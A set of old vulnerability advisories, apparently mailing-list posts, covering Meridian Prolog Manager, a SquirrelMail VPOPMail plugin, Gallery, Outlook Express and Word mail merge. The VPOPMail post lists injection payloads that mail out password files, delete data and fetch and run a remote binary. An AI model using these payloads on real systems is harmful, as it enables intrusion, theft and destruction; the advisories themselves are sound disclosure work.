Meridian Prolog Manager Username and Plain Text Password Disclosure
+Note: This is being released without Meridian or CERT approval. Meridian has been dragging their feet and has shown no good intent since I first tried to contact them. My guess is that they will be following all of my releases claiming I was uncooperative. The only information Meridian ever sought was my identity. With my identity my company assumed they would be revoking our license/contract as way to quell the issue. CERT - Assigned VU#120593 +Subject Meridian Prolog Manager Username and Plain Text Password Disclosure +Version All Prolog Manager Versions (2007, 7.5 and pre 7.5 versions) +Impact Potentially High +Description When logging into a Prolog database all of the usernames and passwords are sent to the workstation. Depending on the encryption level of the database cracking the passwords is trivial to annoying. If you attempt a login with ANY username/password combination the entire dataset of usernames and passwords is passed to the workstation to parse and authenticate. Any network sniffer can catch the dataset to be cracked offline. No Encryption databases passes every password in plain text as it is returned from the sql query. Standard Encryption databases use a rotational encryption to secure the password as it is returned from the sql query. Enhanced Encryption databases use the Standard Encryption and then save it into a binary data field which is then returned from the sql query. No matter the encryption to the database the username is passed in plain text inside the sql query sent to the server. The Standard Encryption is easy to crack just by changing your password to all of one letter and observing the data coming back in HEX. Building the key takes less than 30 minutes. Enhanced Encryption is only slightly better since it takes the Standard Encryption rotational keyed password and then sends it to the database to be stored in a binary field instead of a text/varchar field. Even using this encryption once the password is over four characters the first returned hash (16 HEX characters after a standard lead in) is the same no matter what follows. Making a rainbow table of the first four characters would be annoying but takes less than a day done by hand. Once you had the first four characters making the next four would take another day for any given first four, again by hand. So cracking any one account's 1-8 character password would take 1-2 days (1-12 characters would take 1-3 days and so on). Given how most people pick passwords, given the first four characters it would be trivial to guess the rest. I would also guess that once you had a full set of the first four characters figuring out the patterned for the binary storage would be trivial. Building a script to build the tables would not be difficult and would speed the process up to a matter of hours to create a full 1-8 character rainbow table. +Impact: This would allow anyone to login as another user allowing them increased privileges and/or removing or altering data which would be logged as someone else. +Workarounds: No workarounds. +Programming Fix: The easy fix would be to only return the password for the username entered. This would still allow anyone to put in any username and return the password for that user in the database encryption type. The best solution would be to create a one way hash and send it to the server for authentication, instead of allowing the workstation to do the authentication. This would eliminate known good passwords from going across the network. +Contact May 29th 2007 - Email to Security and Support as well as vendor/reseller, no response. June 20th 2007 - Email to Security and Support as well as vendor/reseller, no response. August 20th 2007 - Email to Cert and SOC. August 20th 2007 - Response from CERT - Assigned VU#120593 October 3rd 2007 - Meridian Requests contact info from CERT about who found the issue. This was at the last moment of the 45 day limit allowed by CERT. October 3rd 2007 - Respond to CERT letting them know they can release [EMAIL PROTECTED] as my contact info; no other info can be released for fear of contract being nullified. November 14 2007 - Asked CERT if anything is going on. Response that they would check with Meridian. December 4 2007 - Asked CERT again if anything was going on. They again contacted Meridian. December 5th 2007 - Meridian asked for contact info and other information. Responded with other information but not direct contact information for fear of retaliation. Other information included specifics about how the issue was found. Gave CERT option to release this information with weekly release along side this release. Gave Meridian till December 11th to respond. December 11th 2007 – No response from Meridian or CERT. Public notified through BugTraq, Full Disclosure, and Prolog Support Forums.
VPOPMail Account Administration (squirrel mail) version 0.9.7
Plugin info: http://www.squirrelmail.org/plugin_view.php?id=103 Description: VPOPMail Account Administration The plugin lets the user do the tasks he would be able using qmailadmin change password let mails forward create away messages Notes (from the README): * IMPORTANT For the plugin to work correctly, the Web-Server needs to run as same user as vpopmail does (most common: user vpopmail) this is because the plugin needs write-permissions to the users Maildir to - create appropriate .qmail-files - create away - messages Comments (from myself): This (allowing anything to be excuted as the web user) of course is a huge security hole. This actually goes beyond that and says to run the web server as vpopmail! Amazing! These people are far too trusting of their users. Bad idea. What could be worse? How about making it even easier to exploit every vpopmail binary? How? Unclean input parsing! If the vpopmail user is the same as the webuser you get to have fun with: vaddaliasdomain vconvert vdominfo vpasswd vadddomain vdeldomain vipmap vpopbull vadduser vdelivermail vkillvqmaillocal valias vdeloldusers vmkpasswdvsetuserquota vchkpw vdeluser vmoduser vuserinfo Basically the exploits are unlimited (as you get full access rights to vpopmail): #change password password;~vpopmail/bin/vpasswd [EMAIL PROTECTED] password #mail password database password;cat ~vpopmail/domains/example.com/vpasswd|mail -s owned [EMAIL PROTECTED] #remove vpopmail password;rm -rf ~vpopmail/ #get listings of mail password;ls ~vpopmail/domains/example.com/user/Maildir/new| mail [EMAIL PROTECTED] #read any users mail passwd;cat ~vpopmail/domains/example.com/user/Maildir/new//1027359339.48628.example.com\,S\=2432 | mail [EMAIL PROTECTED] #execute other arbatrary code on server passwd; wget example.com/exploit -O /tmp/f;chmod +x /tmp/f;/tmp/f; Here is the offending code (line 45 in vpopmail.php): system($vpasswd $username $pwd); As we can see, this is very bad. Very bad security model (running your webserver as vpopmail) backed up by sloppy coding (passing user entered data into the shell unescaped) == bad bad bad. So you just pass anything I wrote above (or really anything at all that you desire) and you own the systems vpopmail config. Enter this data into the password changing field (make sure it matches up in both) in the squirrel mail vpopmail password section to exploit. But it's just a plugin to a webmail system, so no big deal ;-) -- error [EMAIL PROTECTED] signature.asc Description: This is a digitally signed message part
Gallery 1.3.3
Vulnerable: gallery version 1.3.3 (other versions not tested) Url: gallery.sf.net Local exploit. Gallery has a security hole where any other user on the same webserver can create, modify or destroy photos in a given album directory. Also Gallery requires that you turn off safe mode. Each gallery setup needs a temp directory and an album directory. Gallery accesses the album directory in a manner that requires permissions of 755. eg: drwxr-xr-x 5 www wheel 512 Feb 9 16:02 albums and inside albums: ls -l total 16 drwxrwxr-x 2 www wheel 3584 Feb 9 16:19 album01 drwxrwxr-x 2 www wheel 5120 Feb 9 16:25 album02 -rw-r--r-- 1 www wheel65 Feb 9 16:02 albumdb.dat -rw-r--r-- 1 www wheel65 Feb 9 16:02 albumdb.dat.bak -rw-r--r-- 1 www wheel 0 Feb 9 14:05 albumdb.dat.lock -rw-r--r-- 1 www wheel11 Feb 9 15:42 serial.dat As a result anyone who has ever set up a gallery before can just have a cgi running as user www (or whatever user apache is running as) move files around. This can be exploited with everything from SSI, perl to even php. So on shared hosting gallery is a bad idea. There is no fix for this as of this time. This is a product of poor default web application security design. -- error [EMAIL PROTECTED] signature.asc Description: This is a digitally signed message part
dH team SECURITY.NNOV: special device access, information leakage and DoS in Outlook Express
Original version of this advisory: http://www.security.nnov.ru/advisories/msiedos.asp Title: Special device access and DoS in Microsoft Internet Exporer/Outlook Express/Outlook Authors: ERRor, 3APA3A Date: May, 14 2002 Affected: Internet Explorer 6.0 Vendor: Microsoft Risk: Average to high Remote: Yes Exploitable: Yes Vendor notified: April, 24 2002 Intro: All versions of Windows have a reserved filenames referred to special devices such as prn, aux, nul, etc also called DOS devices. Filename for special device may have any directory path and any extension after dot. For example c:\temp\prn.tmp refers to prn device. Same API is used to access special device and regular files. Unauthorized access to special device may be significant security issue causing different results: from Denial of Service against running program or service to hardware failure or secure data compromise. Problem: ERRor discovered that BGSOUND tag in conjunction with special device name causes DoS against Internet Explorer or Outlook Express regardless of security zone settings. For Outlook Express it's untrivial to remove malcrafted message without losing message folder. During investigation of this issue it was found by 3APA3A and ERRor that using IFRAME tag it's possible to send any data to special device. Another problem is that regardless of security zone settings source specified in BGSOUND tag is always downloaded. It makes it possible to fingerprint remote client by his e-mail using something like bgsound src=http://evil.com/registerme?[EMAIL PROTECTED]; Remote client fingerprint problem is discussed in [4]. Exploitation: You can use [2] to test DoS against Outlook Express via BGSOUND. [3] will print text line on a text printer, attached to LPT1, (in Outlook Express 6.0) via IFRAME 1. Special device access and DoS in Outlook Express http://www.security.nnov.ru/search/news.asp?binid=2010 2. Outlook Express Special Device DoS POC http://www.security.nnov.ru/files/iedos/dos.eml 3. Outlook Express Special Device access POC http://www.security.nnov.ru/files/iedos/print.eml 4. Security risks assoticated with using e-mail. http://www.security.nnov.ru/articles/uninet/ Vendor: Microsoft was informed on April, 24 2002. No feedback from vendor since April, 25.
dH team SECURITY.NNOV: A variant of Word Mail Merge vulnerability
Original version of this advisory: http://www.security.nnov.ru/advisories/mailmerge.asp Title: A variant of Word Mail Merge vulnerability Authors: ERRor, 3APA3A Date: May, 03 2002 Affected: Office 97, 2000, XP Vendor:Microsoft Risk: Average to high Remote:for Office 2000 SR1a and prior Exploitable: Yes Vendor notified: February, 12 2002 Intro: All details on this issue may be found in [1]. Original advisory [2] about Word Mail Merge vulnerability was posted by Georgi Guninski. Microsoft released an advisory and fix [3] included into SR1a for Microsoft Office. Problem: ERRor [EMAIL PROTECTED] discovered the way Microsoft fixed the problem is weak and it's still possible to exploit this problem. 3APA3A [EMAIL PROTECTED] found a remote exploitation scenario for Office 2000 SR1a + Outlook Express. Description: Microsoft decided to disallow dotted UNC paths (like \\111.111.111.111\) for merge documents as a fix. It's still possible to use any absolute or relative paths to make word document to open macro silently in Office 97, 2000 and XP. This vulnerability can be remotely exploited if attacker can put both Word and Access documents into the same location or to put Access document into known location (for example to put both files into same Internet Explorer cache folder). Access file may have any extension (.wav, .html, .txt) it doesn't matter. Microsoft Office 2000 SR1a + SP2 and Microsoft Office XP + SP1 do not allow Access to open files from Temporary Internet Files folder, it makes it impossible to exploit this vulnerability via Outlook Express. Exploitation: It's possible to exploit this vulnerability locally or via social Engineering (for example to craft an archive of 3 files: readme.doc, setup.dat and setup.exe where setup.exe is trojan and setup.dat is MDB file launching setup.exe, if user opens readme.doc setup.exe will be started automatically) Simple extract [4] and open expl.doc - calc.exe will be started. Because Outlooks Express and Internet Explorer open .doc files without warning it's possible to exploit this vulnerability remotely [5] without user's intervention. Exploit works as follow: 1. Both DOC and MDB files are attached with .doc extension 2. They are referenced via IFRAME tag. It makes both files to be saved into same cache folder and launched in MS Word. 3. expl.doc opens exploit.doc and exploit.doc starts calc.exe For some unknown reason Internet Explorer 6.0 strips 2 last characters from filename in cache, so there is different .eml for Internet Explorer 6.0. Vendor: Microsoft recommends to install SP2 for Office 2000. It fixes remote exploitation scenario via Outlook Express, but not local issue. References: 1. Microsoft Word Mail Merge vulnerability http://www.security.nnov.ru/search/news.asp?binid=415 2. Georgi Guninski, MS Word and MS Access vulnerability - executing arbitrary programs, may be exploited by IE/Outlook http://www.security.nnov.ru/search/document.asp?docid=518 3. Microsoft Security Bulletin (MS00-071) Patch Available for Word Mail Merge Vulnerability http://www.microsoft.com/technet/security/bulletin/fq00-071.asp 4. Mail merge vulnerability local POC http://www.security.nnov.ru/files/mailmerge/2files.zip 5. Mail merge vulnerability Outlook Express POC http://www.security.nnov.ru/files/mailmerge/2mails.zip
